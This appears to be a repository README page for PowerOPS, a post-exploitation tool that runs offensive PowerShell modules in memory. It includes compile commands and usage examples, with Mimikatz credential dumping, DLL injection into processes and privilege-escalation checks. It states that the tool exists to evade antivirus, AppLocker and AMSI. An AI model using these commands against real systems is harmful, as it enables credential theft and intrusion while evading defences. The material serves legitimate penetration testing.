Need help with PowerOPS?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

412 Stars 130 Forks BSD 3-Clause "New" or "Revised" License 32 Commits 0 Opened issues


PowerShell Runspace Portable Post Exploitation Tool aimed at making Penetration Testing with PowerShell "easier"

Services available


Need anything else?

Contributors list

# 19,696
Visual ...
32 commits


PowerShell Runspace Portable Post Exploitation Tool aimed at making Penetration Testing with PowerShell "easier"

What is it:

PowerOPS is an application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a powershell runspace environment (.NET). It intends to include multiple offensive PowerShell modules to make the process of Post Exploitation easier.

It tries to follow the KISS principle, being as simple as possible. The main goal is to make it easy to use PowerShell offensively and help to evade antivirus and other mitigations solutions. It does this by:

  1. Doesn't rely on powershell.exe, it calls PowerShell directly through the .NET framework, which might help bypassing security controls like GPO, SRP and App Locker.
  2. The payloads are executed from memory and never touch disk, evading most antivirus engines.

PowerOPS was inspired by Cn33liz/p0wnedShell. However I was only interested in PowerShell modules and I was looking for more flexibility. Since PowerOPS offers basically an interactive PowerShell command prompt you are free to use the PowerShell tools included the way you want, and additionally execute any valid PowerShell command.

What's inside the runspace:

The following PowerShell tools/functions are included:

Additionally you can run any valid PowerShell command.

Powershell functions within the Runspace are loaded in memory from Base64 Encoded Strings.

How to Compile it:

To compile PowerOPS you need to import this project within Microsoft Visual Studio or if you don't have access to a Visual Studio installation, you can compile it as follows:

To Compile as x86 binary:

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS*.cs"

To Compile as x64 binary:

cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)

csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS*.cs"

PowerOPS uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to customize it:

Due to size restrictions, or other reasons, you might want to customize your own version of PowerOPS. If you need help just have a look at the gists bellow, as you won't need anything else. - Compress a file using gzip and base64 encode it - Convert a file to a base64 encoded byte array - Unmanaged DLL used for Amsi bypass

How to use it:

Just run the binary and type 'show' to list available modules.

PS > show

[-] This computer is not part of a Domain! Some functions will not work!

[+] Nishang

Get-Information Get-PassHashes Port-Scan

[+] PowerSploit

Get-KeyStrokes Invoke-DllInjection Invoke-Mimikatz Invoke-NinjaCopy Invoke-Shellcode Invoke-TokenManipulation Invoke-WmiCommand Invoke-ReflectivePEInjection PowerView PowerUp

[+] Empire

Invoke-PsExec Invoke-SSHCommand

[+] Others

Auto-GPPPassword Invoke-SMBAutoBrute Invoke-mimikittenz PowerCat PowerUpSQL

PS >

PowerUp and PowerView are loaded as modules, so Get-Command -module will show you all available functions.

PS > get-command -module powerup

CommandType Name ModuleName

Function Find-DLLHijack PowerUp Function Find-PathHijack PowerUp Function Get-ApplicationHost PowerUp Function Get-ModifiableFile PowerUp Function Get-RegAlwaysInstallElevated PowerUp Function Get-RegAutoLogon PowerUp Function Get-ServiceDetail PowerUp Function Get-ServiceFilePermission PowerUp Function Get-ServicePermission PowerUp Function Get-ServiceUnquoted PowerUp Function Get-UnattendedInstallFile PowerUp Function Get-VulnAutoRun PowerUp Function Get-VulnSchTask PowerUp Function Get-Webconfig PowerUp Function Install-ServiceBinary PowerUp Function Invoke-AllChecks PowerUp Function Invoke-ServiceAbuse PowerUp Function Invoke-ServiceDisable PowerUp Function Invoke-ServiceEnable PowerUp Function Invoke-ServiceStart PowerUp Function Invoke-ServiceStop PowerUp Function Restore-ServiceBinary PowerUp Function Test-ServiceDaclPermission PowerUp Function Write-HijackDll PowerUp Function Write-ServiceBinary PowerUp Function Write-UserAddMSI PowerUp

PS >

Yes, all your PowerShell fu applies. PowerOPS is basically a PowerShell shell with some modules/functions pre-loaded. So Get-Help is your friend and will help to find how to use the modules.

Let's say you want to see examples on how to use Invoke-Mimikatz.

PS > Get-Help Invoke-Mimikatz -examples

NAME Invoke-Mimikatz

SYNOPSIS This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as dump credentials without ever writing the mimikatz binary to disk. The script has a ComputerName parameter which allows it to be executed against multiple computers.

This script should be able to dump credentials from any version of Windows
through Windows 8.1 that has PowerShell v2 or higher installed.

Function: Invoke-Mimikatz
Author: Joe Bialek, Twitter: @JosephBialek
Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: Email: [email protected] Twitter
Required Dependencies: Mimikatz (included)
Optional Dependencies: None
Version: 1.5
ReflectivePEInjection version: 1.1
Mimikatz version: 2.0 alpha (2/16/2015)

-------------------------- EXAMPLE 1 --------------------------

C:\PS>Execute mimikatz on the local computer to dump certificates.

Invoke-Mimikatz -DumpCerts

-------------------------- EXAMPLE 2 --------------------------

C:\PS>Execute mimikatz on two remote computers to dump credentials.

Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")

-------------------------- EXAMPLE 3 --------------------------

C:\PS>Execute mimikatz on a remote computer with the custom command
"privilege::debug exit" which simply requests debug privilege and exits

Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"

PS >

Or simply look at the whole help available for Invoke-DllInjection.

PS > Get-Help Invoke-DllInjection -full

NAME Invoke-DllInjection

SYNOPSIS Injects a Dll into the process ID of your choosing.

PowerSploit Function: Invoke-DllInjection
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None

SYNTAX Invoke-DllInjection [-ProcessID] [-Dll] []

DESCRIPTION Invoke-DllInjection injects a Dll into an arbitrary process.

PARAMETERS -ProcessID Process ID of the process you want to inject a Dll into.

    Required?                    true
    Position?                    1
    Default value                0
    Accept pipeline input?       false
    Accept wildcard characters?  false

-Dll <string>
    Name of the dll to inject. This can be an absolute or relative path.

    Required?                    true
    Position?                    2
    Default value
    Accept pipeline input?       false
    Accept wildcard characters?  false

    This cmdlet supports the common parameters: Verbose, Debug,
    ErrorAction, ErrorVariable, WarningAction, WarningVariable,
    OutBuffer, PipelineVariable, and OutVariable. For more information, see
    about_CommonParameters (



NOTES Use the '-Verbose' option to print detailed information.

-------------------------- EXAMPLE 1 --------------------------

C:\PS&gt;Invoke-DllInjection -ProcessID 4274 -Dll evil.dll

Inject 'evil.dll' into process ID 4274.


PS >

You can play around with the output...

PS > get-productkey

OSDescription Computername OSVersion ProductKey

Microsoft Windows... VISUALSTUDIO 6.1.7601 ABCDE-54321-UVXY...

PS > get-productkey | format-list

OSDescription : Microsoft Windows 7 Professional N Computername : VISUALSTUDIO OSVersion : 6.1.7601 ProductKey : ABCDE-54321-UVXYZ-12345-LMNOP

Save the output of your commands the way you want...

PS > invoke-allchecks | Out-File -Encoding ascii powerup.output.txt

PS > type powerup.output.txt

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges... [+] User is in a local group that grants administrative privileges! [+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

PS >

Do some math...

PS > $a=1

PS > $b=4

PS > $c=$a+$b

PS > echo $c 5

Browse the filesystem...

PS > cd c:\

PS > ls

Directory: C:\

Mode LastWriteTime Length Name

d---- 14/02/2016 17:21 bin d---- 17/02/2016 15:02 Dev-Cpp d---- 14/07/2009 04:20 PerfLogs d-r-- 26/04/2016 20:00 Program Files d-r-- 26/04/2016 20:00 Program Files (x86) d---- 19/02/2016 21:06 Python27 d-r-- 26/11/2015 17:20 Users d---- 12/05/2016 15:53 Windows -a--- 19/03/2010 23:55 2073703 VS_EXPBSLN_x64_enu.CAB -a--- 19/03/2010 23:58 551424 VS_EXPBSLN_x64_enu.MSI

PS > pwd



PS >

And so on...


PowerOPS was inspired by Cn33liz/p0wnedShell, and basically consists of work from Nikhil Mittal of Nishang, mattifiestation of PowerSploit and sixdub, engima0x3 and harmj0y of Empire.

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.